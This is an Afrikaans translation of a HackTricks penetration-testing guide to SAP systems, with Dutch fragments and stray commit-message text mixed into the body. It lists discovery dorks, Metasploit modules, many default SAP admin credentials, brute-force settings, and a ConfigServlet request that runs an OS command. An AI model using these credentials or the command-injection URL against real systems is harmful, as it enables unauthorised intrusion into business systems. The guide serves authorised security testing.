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hacktricks/network-services-pentesting/pentesting-sap.md

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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
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</details>
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# Inleiding oor SAP
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SAP staan vir Stelseltoepassings en Produkte in Databehandeling. SAP is ook die naam van die ERP \(Enterprise Resource Planning\) sagteware, sowel as die naam van die maatskappy.
Die SAP-stelsel bestaan uit 'n aantal ten volle geïntegreerde modules wat byna elke aspek van besigheidsbestuur dek.
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Elke SAP-instansie \(of SID\) bestaan uit drie lae: databasis, toepassing en aanbieding\), elke landskap bestaan gewoonlik uit vier instansies: dev, toets, QA en produksie.
Elkeen van die lae kan tot 'n mate uitgebuit word, maar die meeste effek kan verkry word deur **die databasis aan te val**.
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Elke SAP-instansie is verdeel in kliënte. Elkeen het 'n gebruiker SAP\*, die toepassing se ekwivalent van "root".
By die aanvanklike skepping kry hierdie gebruiker SAP\* 'n verstek wagwoord: "060719992" \(meer verstek wagwoorde hieronder\).
Jy sal verbaas wees as jy weet hoe dikwels hierdie **wagwoorde nie verander word in toets- of ontwikkelingsomgewings** nie!
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Probeer om toegang tot die skulp van enige bediener te kry deur die gebruikersnaam &lt;SID&gt;adm te gebruik.
Bruteforcing kan help, maar daar kan 'n rekeningblokkering meganisme wees.
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# Ontdekking
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> Die volgende afdeling is meestal van [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) deur gebruiker shipcod3!
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* Kontroleer die Toepassingsomvang of Programbeknopte vir toetsing. Neem kennis van die hostnames of stelselinstansies vir die koppeling met SAP GUI.
* Gebruik OSINT \(open source intelligence\), Shodan en Google Dorks om lêers, subdomeine en interessante inligting te kontroleer as die toepassing aan die internet blootgestel of openbaar is:
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```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
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* Hier is hoe [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) lyk
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![SAP Aanmeldingsskerm](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
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* Gebruik nmap om oop poorte en bekende dienste (sap routers, webdnypro, webdienste, webbedieners, ens.) te kontroleer.
* Kruip die URL's as daar 'n webbediener aan die gang is.
* Fuzz die gidslys (jy kan Burp Intruder gebruik) as dit webbedieners op sekere poorte het. Hier is 'n paar goeie woordelyste wat deur die SecLists Project verskaf word om standaard SAP ICM-paaie en ander interessante gidslys of lêers te vind:
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
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* Gebruik die SAP SERVICE DISCOVERY hulpprogram van Metasploit vir die opspoor van SAP instansies/dienste/komponente:
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```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
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Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
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msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
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## Toetsing van die Dik Kliënt / SAP GUI
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Hier is die bevel om aan te sluit by SAP GUI
`sapgui <sap bediener hostname> <stelselnommer>`
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* Kontroleer vir verstek geloofsbriewe \(In Bugcrowd se Vulnerability Rating Taxonomy, word dit beskou as P1 -&gt; Bediener Sekuriteitsverstellings \| Gebruik van Verstek Geloofsbriewe \| Produksie Bediener\):
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```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
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* Voer Wireshark uit en verifieer by die kliënt (SAP GUI) met die geloofsbriewe wat jy gekry het, omdat sommige kliënte geloofsbriewe sonder SSL oordra. Daar is twee bekende invoegtoepassings vir Wireshark wat die hoofkoptekste wat deur die SAP DIAG-protokol gebruik word, kan ontleed: SecureAuth Labs SAP-ontledingsinvoegtoepassing en SAP DIAG-invoegtoepassing deur die Positive Research Center.
* Kontroleer vir voorregverhogings deur SAP-transaksiekodes (tcodes) vir gebruikers met lae voorregte te gebruik:
* SU01 - Om gebruikers te skep en te onderhou
* SU01D - Om gebruikers te vertoon
* SU10 - Vir massawarting
* SU02 - Vir handmatige skepping van profiele
* SM19 - Sekuriteitsoudit - konfigurasie
* SE84 - Inligtingstelsel vir SAP R/3-volmagte
* Kontroleer of jy stelselopdragte kan uitvoer / skripte kan hardloop in die kliënt.
* Kontroleer of jy XSS kan doen op BAPI Explorer
# Toetsing van die webkoppelvlak
* Kruip deur die URL's (sien ontdekkingsfase).
* Fuzz die URL's soos in die ontdekkingsfase. Hier is hoe [http://SAP:50000/index.html](http://sap:50000/index.html) lyk:
![SAP Indeksbladsy](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Soek na algemene webkwesbaarhede (Raadpleeg OWASP Top 10) omdat daar XSS, RCE, XXE, ens. kwesbaarhede in sommige plekke is.
* Kyk na Jason Haddix se "The Bug Hunters Methodology" vir toetsing van webkwesbaarhede.
* Auth Bypass deur middel van werkwoordversteuring? Miskien :)
* Maak `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` oop en druk dan die "Kies" knoppie en druk dan in die oop venster "Soek". Jy behoort 'n lys van SAP-gebruikers te sien (Kwesbaarheidsverwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Word die geloofsbriewe oorgedra oor HTTP? As dit wel die geval is, word dit beskou as P3 volgens Bugcrowd se [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Gebroke outentifikasie en sessiebestuur | Swak aanmeldfunksie oor HTTP. Wenk: Kyk ook na [http://SAP:50000/startPage](http://sap:50000/startPage) of die aanmeldportale :)
![SAP Beginbladsy](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Probeer `/irj/go/km/navigation/` vir moontlike gidslys of outentifikasie-omseiling
* [http://SAP/sap/public/info](http://sap/sap/public/info) bevat 'n paar sappige inligting:
Fix multiple typos and fix some images/formatting on pentesting-sap - Fix multiple smaller typos - pentesting-sap: Replace Github image links with the correct raw URL in order to render them correctly. Also replace the alt text to a more accurate description and format an XML answer as correct XML to better display it.
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```xml
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
```
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# Aanval!
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* Kontroleer of dit op ou servers of tegnologieë soos Windows 2000 loop.
* Beplan die moontlike exploits / aanvalle, daar is baie Metasploit-modules vir SAP-ontdekking (hulpmodules) en exploits:
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```text
msf > search sap
Matching Modules
================
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Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
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```
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* Probeer om van bekende exploits gebruik te maken (bekijk Exploit-DB) of aanvallen zoals de oude maar goede "SAP ConfigServlet Remote Code Execution" in de SAP Portal:
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```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
Fix multiple typos and fix some images/formatting on pentesting-sap - Fix multiple smaller typos - pentesting-sap: Replace Github image links with the correct raw URL in order to render them correctly. Also replace the alt text to a more accurate description and format an XML answer as correct XML to better display it.
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![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
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* Voordat jy die `start` bevel op die bizploit skrip by die Ontdekkingsfase uitvoer, kan jy ook die volgende byvoeg vir die uitvoering van kwesbaarheidsassessering:
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```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
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# Ander Nuttige Gereedskap vir Toetsing
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* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell-gereedskap om SAP-sekuriteit te assesseer
* [Burp Suite](https://portswigger.net/burp) - 'n moet hê vir gidsfuzzing en web-sekuriteitsassessering
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python-biblioteek om SAP-netwerkprotokolpakkies te skep
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap om SAP/ERP op te spoor
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## Verwysings
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* [SAP-penetreringstoetsing met behulp van Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 'n skrip om Bizploit semi-outomaties te maak
* [SAP NetWeaver ABAP-sekuriteitskonfigurasie deel 3: Standaard wagwoorde vir toegang tot die toepassing](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Lys van ABAP-transaksiekodes wat verband hou met SAP-sekuriteit](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
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* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
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* [Top 10 mees interessante SAP-kwesbaarhede en aanvalle](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
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* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
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<details>
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Ander maniere om HackTricks te ondersteun:
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